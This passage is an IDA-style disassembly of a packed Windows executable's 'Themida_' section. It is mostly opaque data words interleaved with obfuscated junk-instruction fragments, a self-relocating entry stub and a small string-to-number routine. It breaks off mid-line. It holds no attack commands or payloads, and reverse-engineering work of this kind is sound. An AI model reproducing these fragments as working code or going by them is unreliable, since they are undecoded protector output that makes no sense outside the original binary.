9D890000h, 5E7031Dh, 51006A5Eh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 9D72D1C9h dd 515ED88h, 0DE987h, 788C0000h, 0F74C069Ch, 0F133A71h dd 83555E79h, 840F00F8h, 0C9Eh, 0EE9h, 0AD4D6700h, 55DEDB30h dd 2220B451h, 83F822B5h, 850F01F8h, 190h, 15298589h, 0B805E7h dd 0E9000000h, 12h, 18ADE515h, 0F9A44EB0h, 9396F586h, 65B10139h dd 0C00B2690h, 10D840Fh, 958B0000h, 5E700B5h, 0CE8h, 0FEA14E00h dd 4C68524Fh, 4E647691h, 0F8835B50h, 9840F01h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 62D1C355h, 0CE98FA3h, 53000000h, 1C870B3h dd 0FE5374B2h, 83D3AB09h, 840F03F8h, 5Ch, 0CFA5BA66h, 0BE9h dd 4C47CD00h dd 0CCE1B46h, 0B99BC994h, 9D8BC02Bh, 5E723A9h, 7974BD8Dh dd 9D89005Bh, 5E70441h, 6AE7FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 65667AC3h, 0F463688Fh dd 8E9561Dh, 0F5000000h, 716EB311h, 5A4A5173h, 1B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0FA8F07E5h, 58763D57h, 5559D8Bh, 17BB05E7h, 8D2EDB1Dh dd 5B7974BDh, 0FFD88B00h, 0EE8E7h, 0AC8A0000h, 0EF6AB616h dd 0BE804340h, 0CB2C0EA1h, 0D5BB6657h, 8D5B5BF7h, 0E7441FBDh dd 58D8905h, 0E905E727h, 339h, 2D0D9D03h, 858905E7h, 5E7040Dh dd 4DEE85C7h, 505E7h, 5B80000h, 0BA000000h, 30198058h dd 0AA5E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 610537C6h, 702EBA66h, 0F02F883h dd 10885h, 0EE900h, 0FB450000h, 0ABFDF12Eh, 0E6189387h dd 28342259h, 0B8h, 0BD18B00h, 0B2840FC0h, 57000000h, 0A58D3360h dd 2905E70Dh, 0E721A59Dh, 835B6105h, 840F01F8h, 0FFFFFF80h dd 1959D29h, 0F88305E7h, 0FD840F03h, 60FFFFFEh, 5A5F5657h dd 2B61CB8Ah, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 8F9C8FD9h, 7A0DC539h, 9D338F9Eh dd 5E71C75h, 7974BD8Dh, 6A005Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 8E6139C3h, 5958B22h dd 0FF05E731h, 52006AE7h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 6646B815h, 8BEC80BAh dd 0E71C1195h, 17BD8D05h, 6A05E746h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 84DDC352h dd 0EAE9C1F2h, 8B000001h, 0E7127195h, 76BA6605h, 3F88314h dd 26850Fh, 81660000h, 8D9EA0C2h, 0E747ABBDh, 0BE905h dd 0F1CC0000h, 6C33A553h, 60E45EA6h, 1B7E9DDh, 95890000h dd 5E73199h, 0F05F883h, 5C85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E48766BCh dd 37CB913Bh, 318589F0h, 0F05E709h, 28Ch, 0E9D38B00h, 902h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 38C35747h dd 0E0DA5A7Dh, 7BE28166h, 6F8832Ah, 76850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 89E25EC3h, 0CDD92991h, 8D57CE80h, 0E749A3BDh, 4D9D8B05h dd 0E905E72Ah, 10Dh, 0E852006Ah, 3, 5AC35A20h db 89h, 54h word_544F42 dw 424h ; DATA XREF: ___:off_435718o dd 4244481h, 1Dh, 88C35242h, 8C00AA69h, 4AF79F50h, 0CE960E3h dd 6B000000h, 0F93CCB8h, 0C3BC8FF9h, 0B542980Dh, 9D8B6196h dd 5E70DB9h, 0F07F883h, 6D85h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0BAB3BD78h dd 81666B5Bh, 8948D6D2h, 0E7055DB5h, 0ADBD8D05h, 6A05E717h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0BED9C355h, 37314258h, 0E9E906h, 0FE90000h dd 0AA000000h, 36D5CA83h, 8A513318h, 0C936E454h, 0F883C305h dd 4E850F0Ah, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0EAA4C350h, 7EB556D4h dd 8B60CE25h, 0E701459Dh, 81665705h, 582898D8h, 9BBD8D61h dd 6005E74Bh, 0E88153FCh, 25A8C1DCh, 8B666158h, 3E9D0h dd 8B660000h, 0DA8A57DAh, 97D35B9h, 49858938h, 8305E722h dd 840F003Fh, 41h, 855952Bh, 0F3005E7h, 120B17BAh, 31C9D101h dd 0E70EA1BDh, 26B34705h, 0FFFFDAE9h, 56006AFFh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 6FA28D72h, 0D9EB8166h, 6A5F98h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 76C428C3h, 830F11h, 89000000h dd 0E74D97BDh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0F228890Bh, 0AECB8166h dd 5E936h, 80070000h, 8D4BC352h, 0E714898Dh, 0B5FFF805h dd 5E727D1h, 68F0Fh, 9D2B0000h, 5E72D5Dh, 0A41F858Dh, 8D5005E9h dd 0E7544BBDh, 0A58D8D05h, 0B805E76Eh, 54831ABCh, 730CF2Bh dd 4947C8D0h, 0B58DF875h, 5E76E18h, 6EBD8D8Dh, 0CF2B05E7h dd 0C933A4F3h, 0B8h, 74C00B00h, 0C5BD8346h, 5E702h, 95FF0674h dd 5E7318Dh, 4D97B58Bh, 858D05E7h, 5E9A41Fh, 858DD0FFh dd 5E741F4h, 85C7D0FFh, 5E71B39h, 1, 3F1A58Bh, 0B58B05E7h dd 5E72245h, 2C65AD8Bh, 0C03305E7h, 66000CC2h, 3DD8EA81h dd 8E9h, 9C19F300h, 70BDCFD1h, 0BD83F852h, 5E70EA9h, 41840F00h dd 29000000h, 0E700D99Dh, 0BE905h, 5D0D0000h, 4B13ED1h dd 0E2184FA4h, 1995FF33h, 6A05E706h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A724C357h dd 85093656h, 5E72A5Dh, 0D4DBD83h, 0F0005E7h, 1DF85h, 8322B700h dd 0E707F1BDh, 850F0105h, 1D0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0EC35040h, 9D31A523h, 5E71741h dd 779958Bh, 0BD8305E7h, 5E704E9h, 99840F00h, 6A000001h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 3903C350h, 0C250B991h, 26CB8147h, 836310D8h dd 0E74DEABDh, 840F0005h, 164h, 80D38166h, 1F858D9Eh, 0F05E9A4h dd 682h, 0CD9D2300h, 8B05E716h, 0E74D97B5h, 0D0FFF905h dd 0E4D8D01h, 85C605E7h, 5E707F9h, 9DB8154h, 680CE9E6h dd 0BDA703F6h, 48115B2h, 0A7BAFE24h, 6800F41h, 89000000h dd 0E720D18Dh, 25B5FF05h, 6605E70Ch, 858DDE8Bh, 5E73917h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A0C35343h dd 0EB6062BCh, 0D19F1AE1h, 0BE9h, 0C0E39E00h, 0B27F3979h dd 84289BD2h, 0FF83EE80h, 3D958BD0h, 8905E70Fh, 0E72D4195h dd 6A006A05h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 42A6C356h, 9D8B56FFh, 5E72F85h dd 6AFF6A5Bh, 3E85700h, 20000000h, 895FC35Fh dword_545350 dd 8104247Ch, 1A042444h, 47000000h, 9E6DC357h, 7C13D98h ; DATA XREF: ___:off_43CCB4o dd 19B589EBh, 8B05E70Eh, 0E9D0FFD9h, 5, 9887CAE5h, 0A9B5FFDCh dd 6A05E706h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0D24EC356h, 0F860199Fh, 0DBBF0F42h dd 19810Fh, 14E90000h, 0FA000000h, 0AD871517h, 0CE3528B2h dd 912D1E06h, 0C8AD15C5h, 0FFAA49B4h, 0E727D195h, 8E905h dd 905A0000h, 75E63C45h, 9501F325h, 5E70DB9h, 4D97B58Bh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F7570C3h, 66C325CBh, 0FE4ACA81h, 0B58B95B3h dd 5E70651h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 3DC35242h, 98C38194h, 0B039205h, 64840FF6h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0AD91C353h, 2ABD9589h, 6C605E7h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 16280DD3h, 0BB38723Ah, 2BCB81CAh, 60187367h, 6820Fh dd 85030000h, 5E712E9h, 5039D081h, 89616BF6h, 0E74D9F85h dd 31850105h, 8305E704h, 840F00F8h, 38Eh, 15A19D33h, 0B805E7h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 330BC352h, 0F63B33FAh, 8B66E2ACh dd 83DDB6D0h, 840F00F8h, 137h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0EDC35545h, 0D5CFF9CFh, 9B78E1D9h dd 0F02F883h, 0C385h, 499D8B00h, 8D05E703h, 0E7441A85h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0E7669CD8h, 95E409C1h, 2DD3BF0Fh, 929h dd 13E8h, 9A2E8200h, 44357E45h, 0A24008F3h, 7DB86224h dd 0F86F09DAh, 2D958B50h, 5B05E72Ah, 0BB66905Bh, 60500E6Ch dd 0AE9h, 2A74EB00h, 1378291Eh, 50719D45h, 0FE852h, 1D280000h dd 0F8A325E5h, 30F4982Fh, 504C078h, 310F5AD0h, 90310B8h dd 61585A3Eh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 38605904h, 8A7D6839h, 5295B2E8h dd 0F68FD1BBh, 66C35B00h, 0C1DDDA81h, 0B8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 6C33A553h, 60E45EA6h, 816657DDh, 0E9EE45E3h, 22Eh, 0EE9h dd 0B5AB1B00h, 275C8031h, 38ABA0D1h, 0B80946DAh, 1, 0BD8DF98Ah dd 5E7441Fh, 0EE8h, 65291500h, 50DA2A98h, 316CB4FDh, 0F818739h dd 0A86h, 5E900h, 71B40000h, 5A5305D9h, 0D3E9h, 31B58900h dd 8305E703h, 850F02F8h, 26h, 31D68B66h, 0E7001D9Dh, 17BD8D05h dd 0F05E746h, 68Ah, 0C1958B00h, 0E905E72Dh, 0A4h, 2BC9BD89h dd 0F88305E7h, 69850F03h, 0E9000000h, 10h, 6DE361D4h, 9240181Dh dd 516132EAh, 99616A28h, 47ABBD8Dh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5795B4C3h dd 0C74E25FEh, 51E9D18Ah, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4F96C353h dd 0B52917FAh, 5E70F21h, 0F05F883h, 2385h, 0E9D88B00h dd 0BEh, 10810Fh, 0BE90000h, 14000000h, 0E3717E69h, 4196037Dh dd 9D896219h, 5E716EDh, 0C3816657h, 35B9D57Ah, 6A38097Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 23E4C352h, 0B957863Bh, 0E5D9D8Bh, 0B70F05E7h dd 3F83D0h, 64840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0E39E06C3h, 7F3979C0h dd 8B66D2B2h, 8B0F30DAh, 0E704F595h, 6AC9D105h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7A11C352h, 318D898Ah, 4705E703h, 0E96FCA80h, 0FFFFFF99h dd 1B658531h, 0F88305E7h, 67850F05h, 60000000h, 61FA8AF9h dd 0BAD98C66h, 4F70DADh, 0F04C1F6h, 4285h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B84Bh, 6E80000h, 74000000h, 674B728h, 858951D4h, 5E732E9h dd 17E95A5Bh, 8A000000h, 0D5958BFEh, 8B05E705h, 0E70C7D85h dd 0E0FFFC05h, 1BA99D8Bh, 0BD8305E7h, 5E727D1h, 0E1850F00h dd 8B000000h, 0E72BC995h, 0DDB75005h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 7960C357h, 9E02A499h, 0FD08B47h, 0B70FDFB7h, 0F985C6D2h dd 4505E707h, 0CE8h, 42BDA00h, 0F5B82A86h, 72D8F588h, 819D8B1Eh dd 5B05E703h, 0FF890D68h, 81B2B798h, 0E0642434h, 6A168Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 358B5C3h, 2C7E8AC3h, 0E19D8B50h, 5B05E70Ch, 217D9D89h dd 0B5FF05E7h, 5E70C25h, 8DF4F280h, 0E7391785h, 0A5958B05h dd 0FF05E716h, 0D1B589D0h, 8905E730h, 0E727D185h, 0B5896005h dd 5E723A1h, 31B58953h, 5A05E72Dh, 8D895861h, 5E72EB9h dd 6830F60h, 1000000h, 0E7022995h, 21BD0B05h, 6105E722h dd 4DEEBD83h, 0F0005E7h, 6384h, 0F60FC00h, 858BF7BFh, 5E70455h dd 0A9B5FF61h, 6A05E706h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 3AEDC356h, 662D25E7h dd 40FB2756h, 27D195FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 8F8623C3h, 9257D983h dd 0F52D4DE7h, 0F00F883h, 9D85h, 4D958B00h, 8305E717h dd 0E70B79BDh, 840F0005h, 44h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 54C35747h, 81AD442Fh, 0FFCCF1EFh dd 0E70B79B5h, 81666005h, 8B61A1D0h, 0E7319995h, 1B86105h dd 66000000h, 78E9DF8Bh, 0FC000001h, 6A9B5FFh, 57B605E7h dd 6A9B5FFh, 870F05E7h, 2, 10E9D98Ah, 0BF000000h, 39E38D8Dh dd 27665C31h, 6F2A470Bh, 0FF508B53h, 0E727D1B5h, 6D850105h dd 2305E720h, 0E702E595h, 135E905h, 0D7B20000h, 2B5FD38Ah dd 0E704699Dh, 0A9BD8305h, 5E70Ah, 8E850Fh, 8B660000h dd 0F985C6DEh, 4D05E707h, 39958Bh, 56805E7h, 0E840B11Eh dd 7, 87C1BD66h, 0B7AB43D9h, 4815ABFh, 8458A324h, 55006A63h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D44D6C90h, 2860Fh, 1CB60000h, 6E9h, 6F5EB300h, 0BAC3A787h dd 613C5F0Dh, 13C5B5FFh, 958B05E7h, 5E72335h, 4D59D89h dd 858D05E7h, 5E73917h, 958BD0FFh, 5E72839h, 0AA98589h dd 8D8905E7h, 5E726ADh, 0B8h, 199D8B00h, 8905E709h, 0E74D97BDh dd 0DF8B6605h, 840FC00Bh, 0Ch, 31919D8Bh, 68E905E7h, 0F5000000h dd 27D1B5FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 2ED978C3h, 3E994327h, 8D2D9DC9h dd 0E9A41F85h, 90D48A05h, 90D38B50h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2C35545h, 20FED821h dd 0C36B708Ch, 8363BBF2h, 3EBA0C0Dh, 502BD07Eh, 4BBD8D56h dd 8D05E754h, 0E7790B8Dh, 23BCB805h, 0CF2B7483h, 0C8D00730h dd 0F8754947h, 0BD83585Eh, 5E70B79h, 8B067400h, 0E71B558Dh dd 0B8C93305h, 0 dd 840FC00Bh, 99h, 2C5BD83h, 740005E7h, 8D95FF06h, 0B805E731h dd 0 dd 975C00Bh, 4D9FBD83h, 740105E7h, 9FBD8309h, 205E74Dh dd 0B58B0E75h, 5E74D97h, 0A41F858Dh, 0D0FF05E9h, 41F4858Dh dd 0D0FF05E7h, 261DBD83h, 750205E7h, 0F1A58B2Fh, 8B05E703h dd 0E70B7985h, 24048905h, 1B3985C7h, 105E7h, 0B58B0000h dd 5E74D9Bh, 2C65AD8Bh, 1B805E7h, 0C2000000h, 0EB000Ch dd 1B3985C7h, 105E7h, 0A58B0000h, 5E703F1h, 2245B58Bh dd 0AD8B05E7h, 5E72C65h, 0CC2C033h, 0A9BD8300h, 5E70Eh dd 0BD830F74h, 5E70619h, 0FF067400h, 0E7061995h, 97B58B05h dd 0C305E74Dh, 58A6BB66h, 0F61BA66h, 1CF19D89h, 12E905E7h dd 0CA000000h, 0A35720EFh, 352C4032h, 4A319F3Ah, 0ACDF109Dh dd 0BA95h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 91CD40C3h, 28B5B065h db 2Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_545CC9 ; --------------------------------------------------------------------------- loc_545CC7: ; CODE XREF: Themida_:00545CCCj inc eax inc edi loc_545CC9: ; CODE XREF: Themida_:00545CC5j cmp byte ptr [edi], 0 jnz short loc_545CC7 xor ecx, ecx mov edi, [ebp+8] jmp short loc_545CF8 ; --------------------------------------------------------------------------- loc_545CD5: ; CODE XREF: Themida_:00545CFAj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_545CED ; --------------------------------------------------------------------------- loc_545CEA: ; CODE XREF: Themida_:00545CF0j mul ebx dec esi loc_545CED: ; CODE XREF: Themida_:00545CE8j cmp esi, 0 ja short loc_545CEA pop ebx add ecx, eax pop eax inc edi dec eax loc_545CF8: ; CODE XREF: Themida_:00545CD3j or eax, eax jnz short loc_545CD5 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 3FCh dd 0E70B719Dh, 0D9BF0F05h, 56E9C18Bh, 0C300021Fh, 3F005AFCh dd 68025A00h, 12FFh, 0C3000000h, 0D1005AFCh, 28005AF7h dd 46025A00h, 2000002h, 1000000h, 0 dd 81000000h, 0FA6CE2h, 4 dup(0) dd 2D000000h, 0EE0054CCh, 2000551Bh, 0CA0054B7h, 9B0054E5h dd 170054E3h, 9800547Bh, 460054BCh, 7A005463h, 59005487h dd 0AB0054A6h, 0AF0054B8h, 0F80054D5h, 0F5005500h, 0A6005516h dd 270054C7h, 7500548Eh, 0AB00546Fh, 2005504h, 3E00548Bh dd 0E5005465h, 6C0054EBh, 0FF00546Eh, 590054CFh, 0C6005475h dd 89005523h, 18005503h, 0CB0054E6h, 2A0054B5h, 4B0054A6h dd 0C4005473h, 0E20054F3h, 120054FEh, 3D0054EFh, 270054B9h dd 6B0054E6h, 8E005467h, 7C0054FCh, 580054D2h, 90054FAh dd 0CD005486h, 5D005512h, 830054D5h, 3D0054E5h, 0F70054B7h dd 0E5005499h, 0F70054F1h, 47005506h, 81005462h, 6300547Bh dd 570054C5h, 96005461h, 7F0054C0h, 85005475h, 7005519h dd 650054A1h, 1F0054D5h, 1A0054D9h, 1C005461h, 0BB005506h dd 650054CAh, 0B70054C3h, 5C0054D1h, 52005508h, 0C0054C5h dd 910054BBh, 0F90054A7h, 1E0054DEh, 91005521h, 4200546Dh dd 7A0054ABh, 0D10054BFh, 0D7005504h, 770054AEh, 3F0054CDh dd 2F0054D6h, 0FB005520h, 61005463h, 640054DDh, 4F005519h dd 900054D4h, 6C005493h, 0E00054C1h, 4C005470h, 0CC005522h dd 0C2005467h, 1A005465h, 0A00054C6h, 940054F7h, 4C00546Ch dd 0CD0054EFh, 990054A8h, 0EF0054E9h, 0E20054B7h, 4C0054C9h dd 5C0054A6h, 0C4005519h, 77005500h, 17005495h, 23005513h dd 40054CDh, 5A0054ECh, 0FE005468h, 41005497h, 8005486h dd 0F00054FAh, 0C60054A2h, 22005515h, 1400551Ah, 9E00546Bh dd 7A0054DCh, 0A90054ABh, 580054E8h, 0B0054CCh, 0ED0054DFh dd 7D0054B8h, 61005479h, 2F0054C8h, 600054E2h, 0B4005461h dd 7C0054D3h, 7200546Eh, 0C1005523h, 7B005501h, 3B0054C9h dd 6005479h, 4A00546Eh, 9900547Dh, 0BC0054F3h, 27005474h dd 10054D6h, 2900551Dh, 7A0054FEh, 70054F1h, 0C60054D4h dd 2A005463h, 90005479h, 110054EBh, 67005523h, 0C0054DFh dd 0F200546Ch, 1400551Dh, 0F2005489h, 0D000547Ah, 410054DDh dd 94005491h, 0C9005475h, 520054BFh, 0B900549Ch, 11005517h dd 0D7005510h, 69005490h, 13005473h, 0C200551Fh, 0C9005475h dd 92005482h, 290054E3h, 2F0054AFh, 0AA0054F2h, 61005509h dd 500054BEh, 6A0054ECh, 0B20054B8h, 0C4005488h, 7B0054EFh dd 0B40054C1h, 3A00550Fh db 0D0h, 54h, 0 ; --------------------------------------------------------------------------- loc_545FF7: ; CODE XREF: Themida_:00572B2Bj ; Themida_:00599B64j ... pusha pushf cld call $+5 pop edi sub edi, 5E77D7Eh mov eax, edi add edi, 5E77A96h cmp eax, [edi+2Ch] jnz short loc_546015 jmp short loc_546028 ; --------------------------------------------------------------------------- loc_546015: ; CODE XREF: Themida_:00546011j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_546024 ; --------------------------------------------------------------------------- loc_54601F: ; CODE XREF: Themida_:00546026j add [edi+ecx*4+40h], eax dec ecx loc_546024: ; CODE XREF: Themida_:0054601Dj or ecx, ecx jnz short loc_54601F loc_546028: ; CODE XREF: Themida_:00546013j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_546035: ; CODE XREF: Themida_:0054603Cj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_546035 loc_54603E: ; CODE XREF: Themida_:loc_546D8Cj ; Themida_:00548526j ... lodsb jmp loc_54FAD8 ; --------------------------------------------------------------------------- dd 7F54FA68h, 0C258E969h, 75040000h, 44B15166h, 6E8AE9h dd 0DDE95800h, 2C00008Ah, 4D800BAh, 3EB753BAh, 8065EF80h dd 0EFC008E7h, 2EFC008h, 282DEF80h, 0B72C5BF8h, 0FFFFCDE9h dd 5BDA01FFh, 5C241487h, 24048B66h, 5C2168h, 242C8900h dd 0B951E589h, 52B86BADh, 20EBE953h, 0E9500000h, 7168h ; --------------------------------------------------------------------------- loc_5460A8: ; CODE XREF: Themida_:0054FF95j sub dword ptr [esp+4], 1F7D107Ah add dword ptr [esp+4], 578867C5h push edi jmp loc_55168E ; --------------------------------------------------------------------------- loc_5460BE: ; CODE XREF: Themida_:005474EEj push ebp jmp loc_550BC5 ; --------------------------------------------------------------------------- dd 2424D366h, 0FF70E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5460CE: ; CODE XREF: Themida_:0054C227j mov edi, 65C35902h xor edi, 20AA71D9h add ecx, edi pop edi and ebp, ecx pop ecx push esi mov esi, 201537FFh sub ebp, esi pop esi mov edx, ebp pop ebp and eax, edx mov edx, [esp] add esp, 4 or edx, eax shl edx, 1 push esi mov esi, esp push ebp jmp loc_548EBD ; --------------------------------------------------------------------------- dd 5701C383h, 827FE9h, 0C3805C00h, 1D9CE969h, 14890000h dd 5C8FE924h, 8B660000h, 83572404h, 248904ECh, 24048124h dd 4, 0B7DE9h, 0EC835600h, 24248904h, 4240483h, 85EEE9h db 0 ; --------------------------------------------------------------------------- loc_546141: ; CODE XREF: Themida_:00551837j mov eax, 5C3F1717h add [esp+4], eax pop eax push dword ptr [esp] pop eax add esp, 4 jmp loc_54DF86 ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 0DBh, 0F3B252ACh, 66A0F280h, 2875B050h dd 0C05866C2h, 0C2FE06EAh, 1AEA80h, 284BE9D0h, 0B9510000h dd 26E8567Ch, 0E959CB31h, 8346h, 24048158h, 66B01919h dd 81240401h, 1919242Ch, 48166B0h, 0C901CE24h, 242C812Eh dd 70A92297h, 9A43E9h, 0F5295D00h, 24348B5Eh, 4C481h, 2C870000h dd 9665C24h, 0E99C2404h, 0FFFFFE72h, 1116BA52h, 0DCE933DEh dd 30000075h, 442C5AD3h, 5B82E9h, 67D52D00h, 0C531AAA2h dd 58D0E9h, 81F13100h, 4ECh, 63A8E900h, 0C2810000h, 4 dd 5204C283h, 42474FFh, 24048F5Ah, 4C2815Ch, 56000000h dd 0B88BA52h, 7CBE25DBh, 1DA24F4h, 1BE95AD6h, 89000083h dd 0E95557E3h, 6E7Ah, 69C8F781h, 3CE921B1h, 0E900001Bh dd 0FFFFFDFEh, 8E9482Ch, 0FF00000Ah, 68582434h, 97Ch, 8007E9h dd 95F78100h, 8106451Eh, 4D66DBE7h, 6EF7813Fh, 297FF356h dd 0F6815FFEh, 59CD00E1h, 4C22BB53h, 8BE9692Ch, 5400007Fh dd 40558h, 4050000h, 87000000h, 248B2404h, 4B826824h, 0C2E90000h dd 5100003Fh, 0F180AAB1h, 536652DBh, 0DE8865B3h, 0CDE95B66h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462AB: ; CODE XREF: Themida_:0054F03Bj add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push 32FB5566h pop esi push ebx mov ebx, 0CD08AA9Ah push edi jmp loc_54CBA0 ; --------------------------------------------------------------------------- loc_5462D3: ; CODE XREF: Themida_:0054AC90j push dword ptr [esp] mov ebp, [esp] push edi mov edi, esp add edi, 4 push 3DB4h mov [esp], eax push 1BECh mov [esp], ebx jmp loc_54F6DE ; --------------------------------------------------------------------------- loc_5462F7: ; CODE XREF: Themida_:0054931Fj add eax, edi jmp loc_54E49C ; --------------------------------------------------------------------------- aAs db '²íé,·',0 dd 4B85000h, 1000000h, 68E958C6h, 5900008Bh, 88F48850h dd 0C05A58E1h, 4EE903E1h, 66000032h, 2404BB0Fh, 0FD10E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548CA7 ; --------------------------------------------------------------------------- dw 7734h dd 8B58C300h, 0C483240Ch, 6536E904h, 0F660000h, 895702B6h dd 6703E9E7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546352: ; CODE XREF: Themida_:0054FDC6j push dword ptr [esp] pop edi add esp, 4 jmp loc_54AEFF ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx push eax mov eax, 3E56E28h jmp loc_54A871 ; --------------------------------------------------------------------------- db 52h dd 888AB753h, 241C8BFAh, 815A5452h, 4C2h, 4C28300h, 5C241487h dd 0B2525066h, 0ADB4E3h, 0E2305AD4h, 188BE9h, 0B9515500h dd 47BC4958h, 52DAE9h db 0 ; --------------------------------------------------------------------------- loc_5463B1: ; CODE XREF: Themida_:00547B9Bj pop edi pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_54CEB2 ; --------------------------------------------------------------------------- aMfsrs_ db '¬fSRé¸_',0 dw 8000h aTxsgo db 'Â’X郮',0 align 4 dd 9C6A4E0Dh, 8DE9511Ah, 86000023h, 52CDFEC5h, 882AB050h dd 24048BC6h, 3004C483h, 8AE95AF5h, 0AC0000A2h, 8956D830h dd 1215E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546406: ; CODE XREF: Themida_:00551693j or edi, 10EA5D07h jmp loc_54D2B7 ; --------------------------------------------------------------------------- db 81h, 0F3h, 0D0h aSsx db 'Ã<áéå#',0 align 4 dd 0F323862Dh, 0AFFBE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546426: ; CODE XREF: Themida_:0054F5BFj xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], edx jmp loc_54DEB4 ; --------------------------------------------------------------------------- db 0F7h dd 7EFC1DFh, 7762BA52h, 0D72932C5h, 1756E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54644A: ; CODE XREF: Themida_:0054F72Bj push ebp jmp loc_549515 ; --------------------------------------------------------------------------- loc_546450: ; CODE XREF: Themida_:0055083Dj add esp, 4 push dword ptr [esp] pop eax add esp, 4 push ecx mov ecx, 682E54F3h inc ecx inc ecx jmp loc_5485F6 ; --------------------------------------------------------------------------- loc_54646D: ; CODE XREF: Themida_:0055078Bj shl ebp, 7 push 4F6Dh mov [esp], ecx push ebx jmp loc_54C1D1 ; --------------------------------------------------------------------------- dw 6656h dd 6624D8BEh, 665EF789h, 0F96AEF81h, 6FDDE9h db 0 ; --------------------------------------------------------------------------- loc_546491: ; CODE XREF: 